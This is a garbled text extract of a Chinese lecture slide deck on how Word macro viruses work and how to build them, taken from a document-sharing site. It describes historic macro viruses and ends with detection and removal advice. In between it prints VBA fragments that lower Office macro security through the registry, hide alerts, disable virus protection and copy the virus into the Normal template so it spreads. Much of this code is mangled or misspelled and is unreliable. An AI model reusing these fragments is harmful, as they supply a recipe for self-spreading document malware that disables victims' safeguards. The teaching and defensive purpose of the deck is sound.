宏病毒原理及實現_第1頁
宏病毒原理及實現_第2頁
宏病毒原理及實現_第3頁
宏病毒原理及實現_第4頁
宏病毒原理及實現_第5頁
已閱讀5頁,還剩34頁未讀, 繼續(xù)免費閱讀

下載本文檔

版權說明:本文檔由用戶提供并上傳,收益歸屬內容提供方,若內容存在侵權,請進行舉報或認領

文檔簡介

宏病毒的原理及實現宏〔macro),就是軟件設計者為了在使用軟件工作時,防止一再的重復相同的動作而設計出來的一種工具。它利用簡單的語法,把常用的動作寫成宏,當再工作時,就可以直接利用事先寫好的宏自動運行,去完成某項特定的任務,而不必再重復相同的動作。什么是“宏〞?MicrosoftOffice、wps等辦公軟件魔獸世界、劍網等游戲

哪里用到“宏〞?Office宏的定義:MicrosoftWord中對宏定義為:“宏就是能組織到一起作為一獨立的命令使用的一系列word命令,它能使日常工作變得更容易〞

宏語言宏語言即VISUALBASICFORAPPLICATION,簡稱VBA。VBA可以訪問許多操作系統(tǒng)函數并支持文檔翻開時自動執(zhí)行宏

——這使得用這種語言寫計算機病毒成為可能Office各版本及其宏語言年份Office版本宏語言1987Excel4.0formula1991Excel5.0VBA31993Word6.0WordBasic1997Office97applicationsVBA51999Office2000(WORD10)VBA62001OfficeXPVBA6.22003Office2003(WORD11)VBA6.32006Office2007(WORD12)VbA6.5word創(chuàng)立宏Word提供了兩種創(chuàng)立宏的方法:宏錄制器和VisualBasic編輯器。宏錄制器可幫助用戶開始創(chuàng)立宏。Word在VBA

編程語言中把宏錄制為一系列的Word命令??稍赩isualBasic

編輯器中翻開已錄制的宏,修改其中的指令。也可用VisualBasic

編輯器創(chuàng)立包括VisualBasic指令的非常靈活和強有力的宏,這些指令無法采用錄制的方式?;趙ord的VBA編程SubAutoOpen()’定義函數名,AutoXXX為自動宏WhileTrue’惡意代碼,死循環(huán)Msgbox〞Helloworld〞’調用對話框顯示消息WendEndSub’函數到此結束基于word的VBA編程SubAutoOpen()Command.Caption=Shell"C:\ProgramFiles\InternetExplorer\IEXPLORE.EXE"

vbNormalFocusFori=1To10……Documents.Add’新添加一個word文檔NextiEndSub

Word應用的層次Documents(所有的文檔)Document(一個文檔)Templates(所有模板)Windows(所有窗口)SelectionStyleRange…………調用操作系統(tǒng)Shell函數翻開已安裝的應用程序Office有了宏,宏在office中的什么位置?為了方便人們使用宏以及宏文件的傳遞使用,Word定義出一種文件格式,將文檔以及該文檔所需要的宏合在一起放在后綴為.dot的文件之中。正因為這種是宏也是資料的文檔格式,便產生了宏感染的可能性。但是,Normal.dot上不能用來存儲數據,每次修改后都需另外保存。有沒有一種文檔格式,既可以存儲宏,又可以用來存儲數據????一、模板文件格式:

.dot文檔:模板文檔,新文檔繼承模板的屬性〔宏、菜單、格式等〕。

Normal.dot文件:全局模板,在建立整個文檔中所起的作用是作為一個基類,是新建文檔默認的模板。

二、數據文件格式

.doc———一種可以存貯宏的普通文檔;.docx——一種不包含宏的普通文檔;

.docm——一種包含宏或啟用了宏的文檔;

.dotx——一種不包含宏的模板;

.dotm——一種包含宏或啟用了宏的模板。

宏就在office文檔里用普通文檔即可傳播宏文件

寫代碼簡單,傳播更簡單,那么,我們可不可以做點別的事?

其實宏病毒的出現并非出乎人們的意料,早在80年代后期就有專家預言過。那時,有些學生就用某些應用程序的宏語言編寫病毒。然而,宏病毒與普通病毒不同,它不感染.EXE或.COM文件,而只感染文檔文件。宏病毒就像自然界中令人恐懼的龍卷風,對人們正常使用計算機進行學習和工作帶來了不可估量的影響,同時也造成了社會財富的巨大浪費。1.Concept宏病毒

世界上的第一個宏病毒Concept可以感染Windows和蘋果機上的MicrosoftWord文檔。這個病毒是用MicrosoftWord6.0中的宏語言編寫的,但它也能感染其他Word版本創(chuàng)立的文檔。

看起來編寫Concept宏病毒是為了證明確實可以用宏編程語言編寫病毒。因此,Concept宏病毒只是顯示一個對話框,宣示它的存在,并不成心破壞磁盤上的任何文件。2Nuclear宏病毒這是一個對操作系統(tǒng)文件和打印輸出有破壞功能的宏病毒。這個宏病毒中包含以下病毒宏:AutoExecAutoOpenDropSurivFileExitFilePrintFilePrintDefaultFileSaveAs這些宏是只執(zhí)行〔Execute-only〕宏Nuclear宏病毒造成的破壞現象為:〔1〕翻開一個染毒文檔井打印的時候,它會在您打印的最后一段加上“STOPALLFRENCHNUCLEARTESTINGINTHEPACIFIC!〞,這個現象是在每分鐘的55秒~60秒之間操作打印時發(fā)生。〔2〕如果在每天17:00~18:00之間翻開一個染毒文檔,Nuclear病毒會將PH33R病毒傳染到計算機上,這是個駐留型病毒?!?〕在每年的4月5日,該病毒會將計算機上IO.SYS和MSDOS.SYS文件清零,并且刪除C盤根目錄上的COMMAND.COM文件。一旦病毒發(fā)作,MSDOS就不可能被引導,計算機將陷入癱瘓。3臺灣一號病毒臺灣一號病毒會在每月的13日影響您正常使用Word文檔和編輯器。它包含以下病毒宏:AutoClose、AutoNew、AutoOpen這些宏是可被編輯宏。在病毒宏中含有如下的語句:IfDay(Now())=13Then...這條語句與13日有關。臺灣一號病毒造成的危害是:在每月13日,假設用戶使用Word翻開一個帶毒的文檔〔模板〕時,病毒會被激發(fā)。激發(fā)時的現象是:在屏幕正中央彈出一個對話框,該對話框提示用戶做一個心算題,如做錯,它將會無限制地翻開文件,直至Word內存不夠,Word出錯為止;如心算題做對,會提示用戶“什么是巨集病毒〔宏病毒〕?〞,答復“我就是巨集病毒〞,再提示用戶:“如何預防巨集病毒?〞,答復是“不要看我〞。2.1宏病毒簡介什么是宏病毒?宏病毒是一種存放在文檔或模板的宏中的計算機病毒。一旦翻開這樣的文檔,其中的宏自動被執(zhí)行,于是宏病毒就會被激活,轉移到計算機上,并駐留在Normal模板上。從此以后,所有自動保存的文檔都會“感染〞上這種宏病毒,而且如果其他用戶翻開了感染病毒的文檔,宏病毒又會轉移到他的計算機上。宏病毒的特點〔1〕宏病毒會感染.DOC文檔和.DOT模版文件。〔2〕宏病毒的傳染通常是WORD在翻開一個帶宏病毒的文檔或模版時,激活宏病毒?!?〕多數宏病毒包含AutoOpen、AutoClose、AutoNew和AutoExit等自動宏,通過這些自動宏病毒取得文檔(模版)操作權?!?〕宏病毒中總是含有對文檔讀寫操作的宏命令?!?〕病毒原理簡單,制作比較方便?!?〕傳播速度相對較快。WORD宏病毒的生命周期21→編程語言:VBA、WordBasic等→運行環(huán)境:VBEWord宏病毒的感染過程宏病毒原理大揭秘1、降低宏平安級別以office2003版為例

IfApplication.Version<>“11.0〞Then’判斷office版本

strFullname=ThisWorkbook.FullName'取得當前工作薄的全名

strVBS=Replace(UCase(strFullname),".XLS",".vbs")‘temp文件VBS的文件名

SetWSH=CreateObject(“Wscript.Shell〞)’創(chuàng)立Wscript對象

Err.Clear

OnErrorResumeNext’出錯不提示,繼續(xù)

regStr="HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Word\Security\Level“'注冊表中Excelvba平安級別位置

ret=WSH.RegRead(regStr)'讀取當前平安級別

IfErr.Number<>0Then

'判斷讀取是否成功

vbOKOnly+vbCritical,"Keanjeason"

ExitSub

Else

'如果當前ExcelVBA平安級別不為“低〞,那么設置為“低〞,值1-4分別對應:低,中,高,非常高IfVal(ret)<>1Thenret=WSH.RegWrite(regStr,"1","REG_DWORD")

EndIf1、用戶使用Word執(zhí)行翻開文檔、保存文檔、打印文檔和關閉文檔等操作時,Word會查找指定的標準宏:例1:關閉文檔之前查找“FileSave〞宏,如果存在,首先執(zhí)行這個宏例2:打印文檔之前首先查找“FilePrint〞宏,如果存在那么執(zhí)行這個宏2、Word中另外還有一些以“Auto〞開始的宏〔自動宏〕,如“AutoOpen〞、“AutoClose〞等,如果建立了這些宏,翻開/關閉文檔的時候將自動執(zhí)行這些宏,這些宏一般是全局宏,對任何Word文檔都有效。

病毒觸發(fā)要隱含在正常的操作中,這些自動執(zhí)行的宏然是最好的宿主。2、文檔的控制權獲取宏病毒常用到的宏如下表所示類別宏名運行條件自動宏AutoExec啟動Word或加載全局模板時AutoNew每次創(chuàng)建新文檔時AutoOpen每次打開已存在的文檔時AutoClose在關閉文檔時AutoExit在退出Word或卸載全局模板時標準宏FileSave保存文件FileSaveAs改名另存為文件FilePrint打印文件FileOpen打開文件

高明的病毒編寫者其自我保護將做得非常好,可以使word的一些工具欄失效,例如將工具菜單中的宏選項屏蔽,也可以修改注冊表到達很好的隱藏效果。常用代碼例如:OnErrorResumeNext'如果發(fā)生錯誤,不彈出出錯窗口,繼續(xù)執(zhí)行下面語句Application.DisplayAlert=wdAlertsNoe'不彈出警告窗口Application.EnableCancelKey=wdCancelDisabled'不允許通過ESC鍵結束正在運行的宏Application.DisplayStatusBar=False'不顯示狀態(tài)欄,防止顯示宏的運行狀態(tài)Application.ScreenUpdating=False '不讓刷新屏幕,防止病毒運行引起刷新速度變慢Option.VirusProtection=False '關閉病毒保護功能,運行前如果包含宏,不提示Option.SaveNormalPrompt=False '如果公用模板被修改,不給用戶提示窗口而直接保存3、宏病毒的自我隱藏1、Word宏病毒一般都首先隱藏在一個指定的Word文檔中,一旦翻開了這個Word文檔,宏病毒就被執(zhí)行,宏病毒要做的第一件事情就是將自己拷貝到全局宏的區(qū)域,使得所有翻開的文檔都可使用這個宏。2、當Word退出的時候,全局宏將被存儲在某個全局的模板文檔(.dot文件)中,這個文件的名字通常是“Normal.dot〞,即Normal模板。3、如果全局宏模板被感染,那么Word再啟動的時候將自動載入宏病毒并且自動執(zhí)行。4、傳播與感染1〕得到正在操作的文檔代碼對象和公用模板的代碼對象。Ourcode=ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(1,100)SetHost=NormalTemplate.VBProject.VBComponents(1).CodeModuleIfThisDocument=NormalTemplateThenSetHost=ActiveDocument.VBProject.VBComponents(1).CodeModuleEndIf2)檢查模板是否已經感染病毒,如果沒有,那么復制宏病毒代碼到模板,并且修改函數名。WithhostIf.Lines(1,1)<>"'moonlight"Then.DeleteLines1,.CountOfLines.InsertLines3,"SubDocument_Close()"IfThisDocument=NormalTemplateThen.RbeplaceLine3,"SubDocument_Open()"ActiveDocument.SaveAsActiveDocument.FullNameEndIfEndIfEndWith宏病毒預防

宏病毒離不開可供其運行的系統(tǒng)軟件(WORD,EXCEL等OFFICE軟件),所以宏病毒的檢測其實非常容易。只要留意一下常用的OFFICE系統(tǒng)軟件是不是出現了一些不正常的現象,就能大概知道計算機是不是染上了宏病毒。如何及時發(fā)現宏病毒???〔1〕全局模板中出現宏?!?〕無故出現存盤操作。〔3〕OFFICE功能混亂,無法使用。〔4〕OFFICE菜單命令消失。〔5〕OFFICE文檔的內容發(fā)生變化?!?〕嘗試保存文檔時,只允許將文檔保存為文檔模版的格式?!?〕文檔圖標的外形類似模板而非文檔圖標。Office不正?,F象集錦……

感染了宏病毒后,同樣可以用防治計算機病毒的軟件來查殺,亦可采用以下方法進行手工處理:1、通過刪除宏命令的形式刪除宏病毒。2、通過復制粘貼去除宏病毒代碼方式去除宏病毒。3、通過刪除NORMAL.DOT來除掉Word宏病毒。4、通過格式轉換去除Word宏病毒。5、通過高版本的Word發(fā)現病毒宏。6、為防萬一,在翻開疑心感染了宏病毒的文檔時按住SHIFT鍵,這樣可以防止宏自動運行,如果有宏病毒,那么不會加載宏。宏病毒的去除日常辦公中

如何去防止宏病毒?1、初級防護——設置宏平安等級36

針對Office2007Office

word選項

信任中心

宏設置為了防止利用“VBA〞語言編制專門破壞電腦系統(tǒng)的病毒程序,Office自帶了“宏〞檢測功能。設置宏的平安級別較高時,翻開帶有“宏〞的文檔時,會提示用戶注意,并讓用戶自行選擇是否啟用“宏〞?!?〕根據AUTO宏的自動執(zhí)行的特點,在翻開of

溫馨提示

  • 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯系上傳者。文件的所有權益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網頁內容里面會有圖紙預覽,若沒有圖紙預覽就沒有圖紙。
  • 4. 未經權益所有人同意不得將文件中的內容挪作商業(yè)或盈利用途。
  • 5. 人人文庫網僅提供信息存儲空間,僅對用戶上傳內容的表現方式做保護處理,對用戶上傳分享的文檔內容本身不做任何修改或編輯,并不能對任何下載內容負責。
  • 6. 下載文件中如有侵權或不適當內容,請與我們聯系,我們立即糾正。
  • 7. 本站不保證下載資源的準確性、安全性和完整性, 同時也不承擔用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。

評論

0/150

提交評論